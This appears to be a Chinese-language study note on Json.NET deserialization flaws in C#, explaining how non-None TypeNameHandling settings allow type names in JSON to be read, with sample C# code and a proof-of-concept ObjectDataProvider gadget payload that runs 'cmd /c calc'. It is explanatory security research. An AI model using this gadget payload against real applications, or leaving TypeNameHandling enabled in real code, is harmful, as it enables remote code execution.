有以下代码

Pasted_image_20240802215026.png

使用了JsonSerializer反序列化
JsonConvert.DeserializeObject第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理
TypeNameHandling 不为 None 时,传入的 Json 字符串中所附带类型名称才能被读取写入。这样才能触发反序列化漏洞。
设置为非空值、也就是对象(Objects) 、数组(Arrays) 、自动识别 (Auto) 、所有值(ALL) 的时候都会造成反序列化漏洞
有以下反序列化代码,并不会触发反序列化漏洞
using System;
using System.IO;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
 
namespace YourNamespace
{
    class Program
    {
        static void Main(string[] args)
        {
            // 读取请求的输入流
            using (StreamReader reader = new StreamReader("1.txt"))
            {
                // 使用 JsonTextReader 读取输入流中的 JSON 数据
                using (JsonTextReader streamReader = new JsonTextReader(reader))
                {
                    // 创建 JsonSerializer 实例
                    JsonSerializer serializer = new JsonSerializer();
 
                    // 反序列化 JSON 数据为 JArray 对象
                    JArray @params = serializer.Deserialize(streamReader) as JArray;
 
                    // 处理 JArray 对象
                    // ...
                    Console.WriteLine(@params);
                }
            }
        }
    }
}

1.txt内容为json反序列化的poc

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
}

可以看到并没有触发漏洞

Pasted_image_20240802215248.png

仅当设置如下时才会触发
Pasted_image_20240802215325.png